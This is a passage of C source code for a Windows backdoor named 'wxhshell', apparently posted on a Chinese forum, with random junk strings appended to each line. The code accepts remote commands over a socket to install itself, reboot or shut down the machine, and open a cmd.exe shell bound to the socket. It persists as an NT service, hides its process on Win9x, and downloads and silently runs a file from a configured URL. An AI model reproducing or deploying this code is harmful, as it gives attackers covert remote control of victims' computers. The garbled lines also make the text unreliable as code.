\Aa{]t  
    switch(cmd[0]) { @L/p  
  .IkQo`_s:  
  // 帮助 !VoAN5#;  
  case '?': { R2` -*PZ_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CwL8-z0 Jn  
    break; )/{zTg8$?/  
  } >[A7oH  
  // 安装 iKVJ c=C  
  case 'i': { =mQdM]A)2  
    if(Install()) KccIYn~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v{44`tR   
    else |H%[tkW6c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .I#ss66h  
    break;  D_D76  
    } vWh]1G#'p[  
  // 卸载 qPvWb1H:  
  case 'r': { 6dlV:f_\y  
    if(Uninstall()) :g~X"C1s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W)z@>4`Bb  
    else ;+3XDz v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HVLj(_ A  
    break; 5B)z}g^h  
    } wnr<# =,I'  
  // 显示 wxhshell 所在路径 pcC/$5FQ  
  case 'p': { ,l )7]p*X  
    char svExeFile[MAX_PATH]; ~e;2gm  
    strcpy(svExeFile,"\n\r"); A(84cmq!q  
      strcat(svExeFile,ExeFile); TYH4r q &  
        send(wsh,svExeFile,strlen(svExeFile),0); Iss)7I  
    break; l6~wm1vO  
    } ?"Ec#,~  
  // 重启 TO5#iiM)  
  case 'b': { <oKoz0!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L}hc|(:  
    if(Boot(REBOOT)) WXmR{za   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 >`2vb  
    else { Bid+,,  
    closesocket(wsh); R|g50Q  
    ExitThread(0); ~zO>Q4-k  
    } Ej#pM.  
    break; HOSt0IHzty  
    } ggL^*MV  
  // 关机 uWjSqyb:  
  case 'd': { DOB#PI [/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #]5A|-O^  
    if(Boot(SHUTDOWN)) >[r,X$]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t#N@0kIX.  
    else { < .knM  
    closesocket(wsh); rInZd`\  
    ExitThread(0); (,XbxDfM  
    } N_liKhq  
    break; 5D6 ,B  
    } 6 6C_XT  
  // 获取shell iY;>LJmp  
  case 's': { c_Lcsn  
    CmdShell(wsh); 4r tNvf5`  
    closesocket(wsh); e.Gjp {  
    ExitThread(0); OSY.$$IO  
    break; }MIg RQ9  
  } B6-1q& E/  
  // 退出 yB5JvD ?  
  case 'x': { Ux-i iH#s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *b,4qMr  
    CloseIt(wsh); 1a79]-j  
    break; l>*L Am5  
    } CNl @8&R  
  // 离开 m"f3hd4D_q  
  case 'q': { tRVz4fk[G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &j?+%Y1n@  
    closesocket(wsh); KXT9Wt=  
    WSACleanup(); C17$ qdV/  
    exit(1); |crm{]7X  
    break; Y6RbRcJw  
        } b_w(F_0  
  } f-`C1|\w  
  } a\B'Qe+  
nduUuCIY.  
  // 提示信息 9GtVcucN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dZ|x `bIgs  
} \rM5@ Vf  
  } ST1c`0e  
Sf'uKSX1%  
  return; !g4u<7  
} ^l{q{O7U$  
SNc$!  
// shell模块句柄 N(`XqeC*  
int CmdShell(SOCKET sock) *nSKIDw  
{ ,}/6Za  
STARTUPINFO si; o[%\W  
ZeroMemory(&si,sizeof(si)); w>wzV=R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O+"a 0:GM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rGlnu.mK^  
PROCESS_INFORMATION ProcessInfo; [Om,Q<  
char cmdline[]="cmd"; l#TE$d^ym  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nL+y"O  
  return 0; NH<~B C]I  
}  {gb` %J  
D"CU J?  
// 自身启动模式 .l$U:d  
int StartFromService(void) }H:wgy`  
{ U+,RP$r@  
typedef struct Sq]QRI/  
{ d:{}0hmxI  
  DWORD ExitStatus; 9qvl9,*g  
  DWORD PebBaseAddress; *tfD^nctO  
  DWORD AffinityMask; 1 %8JMq\  
  DWORD BasePriority; hC?rHw H>  
  ULONG UniqueProcessId; p8j*m~4B  
  ULONG InheritedFromUniqueProcessId; kS4YxtvB  
}   PROCESS_BASIC_INFORMATION; A<+1:@0  
 9XhcA  
PROCNTQSIP NtQueryInformationProcess; iKu4s  
WAf"|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7^<6|>j4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;;+h4O )  
9Dp0Pi?29  
  HANDLE             hProcess; pKU(4&BxX  
  PROCESS_BASIC_INFORMATION pbi; 0i>p1/kv  
$'<FPbUtD}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .DM-&P  
  if(NULL == hInst ) return 0; Tj+U:#!!~  
-$$mrU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -us:!p1T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H5*#=It  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3H|drj:KV  
b! r%4Ah  
  if (!NtQueryInformationProcess) return 0; ^6J*:(eM  
'Fql;&U >  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bd H+M?k  
  if(!hProcess) return 0; m\70&%v  
Bg}l$?S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;*0nPhBw0>  
Qq'e#nI@  
  CloseHandle(hProcess); USaa#s4'  
;y-:)7J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C DoD9Hq,  
if(hProcess==NULL) return 0; 0f@9y  
qOIVuzi*  
HMODULE hMod; C_JO:$\rE  
char procName[255]; qHT73_R  
unsigned long cbNeeded; T8&eaAoo  
yL),G*[p\}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p5% %k-  
/;{L~f=et)  
  CloseHandle(hProcess); OMM5ALc(F  
9tb-;|  
if(strstr(procName,"services")) return 1; // 以服务启动 )FPn_p#3]  
, &n"#  
  return 0; // 注册表启动 Bl^ BtE?-b  
} 3SI0etVr  
Q*M(d\Vs  
// 主模块 &n#yxv4  
int StartWxhshell(LPSTR lpCmdLine) 29CzG0?B  
{ Gs,e8ri!  
  SOCKET wsl; >2= Y 35j  
BOOL val=TRUE; 9|[uie  
  int port=0; bub6{MQW8e  
  struct sockaddr_in door; zG8g}FrzG;  
NqGSoOjIO2  
  if(wscfg.ws_autoins) Install(); Go^TTL   
>< >%;HZ  
port=atoi(lpCmdLine); \q3ui}-9  
*A4eYHn@  
if(port<=0) port=wscfg.ws_port; [S8*b^t4  
2i;ox*SfpU  
  WSADATA data; cD=IFOB*GD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N UJ $)qNA  
ly35n`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aC%Q.+-t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jgg<u#  
  door.sin_family = AF_INET; l5~O}`gfh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ml Cg&fnDB  
  door.sin_port = htons(port); 1e7I2g  
G "!v)o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?L0k|7  
closesocket(wsl); 9_,f)2)~W  
return 1; 1Lk(G9CoY  
} ez.a  
;<thEWH;Y  
  if(listen(wsl,2) == INVALID_SOCKET) { W amOg0  
closesocket(wsl); )B)f`(SA"<  
return 1; &CSy>7&q  
} 3"< 0_3?W  
  Wxhshell(wsl); "^!y>]j#A  
  WSACleanup(); *,%$l+\h  
u`.)O2)xU  
return 0; gujP{Z  
&xhwOgI#,  
} (vX< B h  
vC `SD]  
// 以NT服务方式启动 LkP :l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xx%<rsA>F  
{ )J0h\ky  
DWORD   status = 0; Cl!(F 6K*  
  DWORD   specificError = 0xfffffff; %?aq1 =B  
2H0BNrYM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <<E 9MIn_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E`V\/`5D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;,e16^\' &  
  serviceStatus.dwWin32ExitCode     = 0; B /w&Lo  
  serviceStatus.dwServiceSpecificExitCode = 0; F?05+  
  serviceStatus.dwCheckPoint       = 0; #p55/54ZI  
  serviceStatus.dwWaitHint       = 0; -{8K/!  
#.[eZ[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KX 7 fgC  
  if (hServiceStatusHandle==0) return; B2P@9u|9  
w= n(2M56C  
status = GetLastError(); J 7G-qF\  
  if (status!=NO_ERROR) OG$v"Yf~  
{ @\XeRx;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _ZFEo< `'  
    serviceStatus.dwCheckPoint       = 0;  o kA<  
    serviceStatus.dwWaitHint       = 0; %D8.uGsh  
    serviceStatus.dwWin32ExitCode     = status; 3+s$K(%I  
    serviceStatus.dwServiceSpecificExitCode = specificError; pMy:h   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .|5$yGEF_+  
    return; QkW'tU\^  
  } /*k_`3L  
jl&Nphp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6}e*!,2Xj  
  serviceStatus.dwCheckPoint       = 0; pr7lm5  
  serviceStatus.dwWaitHint       = 0; #v xq|$e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m%apGp'=1  
} LX oJw$C  
x.wDA3ys  
// 处理NT服务事件,比如:启动、停止 7`&ISRU4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l v hJ  
{ &KAe+~aPm  
switch(fdwControl) ZV+tHgzlv5  
{ YzQ1c~+  
case SERVICE_CONTROL_STOP: |\?u-O3  
  serviceStatus.dwWin32ExitCode = 0; PnaiSt9p?r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9A} *  
  serviceStatus.dwCheckPoint   = 0; #Xox2{~  
  serviceStatus.dwWaitHint     = 0; H~nZ=`P9&  
  { FX|&o >S(8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &JqaIJh   
  } O>1Cx4s5  
  return; J-,ocO  
case SERVICE_CONTROL_PAUSE: 3^~J;U!3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; / + %  
  break; nHk^trGm  
case SERVICE_CONTROL_CONTINUE: :op_J!;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ],S {?!'1  
  break; F]?] |nZZ  
case SERVICE_CONTROL_INTERROGATE:  =g M@[2  
  break; 3N|z^6`#  
}; Wu'qpJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @`:X,]{  
} iW>^'W#  
%kV7 <:y  
// 标准应用程序主函数 ,>S7c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cPNc$^Y  
{ O.ce=E  
E'DHO2 Y  
// 获取操作系统版本 7<;oz30G!L  
OsIsNt=GetOsVer(); yG/!K uA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qrw  
*|dK1'Xr  
  // 从命令行安装 Pap6JR{7  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2a48(~<_  
U|%}B(  
  // 下载执行文件 v /c]=/  
if(wscfg.ws_downexe) { 3U+FXK#6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E KV[cq  
  WinExec(wscfg.ws_filenam,SW_HIDE); tOLcnWt   
} tMX$8W0 c  
62qjU<Z  
if(!OsIsNt) { )j>U4a  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;VAyH('~  
HideProc(); 79W^;\3  
StartWxhshell(lpCmdLine); ~~h#2SX  
} ~8u *sy  
else "^\q{S&q2P  
  if(StartFromService()) s) shq3O  
  // 以服务方式启动 dM^Z,; u  
  StartServiceCtrlDispatcher(DispatchTable); )B0%"0?`8  
else >!xyA;  
  // 普通方式启动 /0XMQy  
  StartWxhshell(lpCmdLine); Tgr,1) T  
uoI7' :Nv  
return 0; +lqGf  
}
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只看该作者 1 发表于: 2006-10-10
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